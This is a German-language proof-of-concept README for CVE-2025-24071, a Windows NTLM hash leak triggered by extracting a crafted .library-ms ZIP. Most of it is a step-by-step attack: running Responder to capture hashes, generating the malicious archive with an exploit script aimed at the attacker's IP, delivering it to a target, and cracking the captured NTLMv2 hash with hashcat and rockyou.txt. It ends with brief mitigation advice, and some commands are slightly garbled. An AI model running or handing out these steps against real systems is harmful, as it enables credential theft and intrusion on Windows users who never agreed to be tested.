CVE-2025-24071-POC-NTLMHashDisclosure

• Löst automatische SMB-Authentifizierung gegenüber einer vom Angreifer kontrollierten Freigabe aus.
• Keine Benutzerinteraktion erforderlich — Windows Explorer initiiert diese NTLM-Authentifizierung automatisch.
• Führt zu NTLMv2-Hash-Leckage (Informationsoffenlegung).
• Betrifft Windows 10/11 alle Versionen, insbesondere 11 23H2.

Einrichten der Angreiferumgebung

sudo apt update && sudo apt install responder -y

Starten Sie Responder

sudo responder -I eth0

Ausführen des Exploit-Skripts

Erforderliches Python-Modul installieren

pip install colorama python3 CVE-2025-24071.py -i <attacker_ip> -n testpayload -o ./output --keep

Dies wird Folgendes generieren: testpayload.library-ms testpayload.zip

Test auf dem Zielrechner

Übertragen Sie testpayload.zip auf den Windows 11-Testrechner. Extrahieren Sie die ZIP-Datei mit dem Windows Datei-Explorer. Dies veranlasst Windows, den SMB-Pfad zu versuchen, was das NTLM-Hash-Leck auslöst.

Erfassen des Hashs

responder -I etho0

Vorbereiten der Hash-Datei

Erstellen Sie eine Datei hash.txt

victim::DOMAIN:1122334455667788:11223344556677889900aabbccddeeff:01010000000000000090d5d00f3

Auswählen einer Wortliste

Die gängigste: rockyou.txt

Ausführen von Hashcat

hashcat -m 5600 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt

Maßnahmen zur Schadensbegrenzung

• Blockieren Sie ausgehendes SMB (TCP 445) an Firewalls.
• Deaktivieren Sie die automatische Authentifizierung gegenüber nicht vertrauenswürdigen SMB-Freigaben (Gruppenrichtlinie).
• Überwachen Sie die Extraktion von .library-ms-Dateien und SMB-Verbindungen.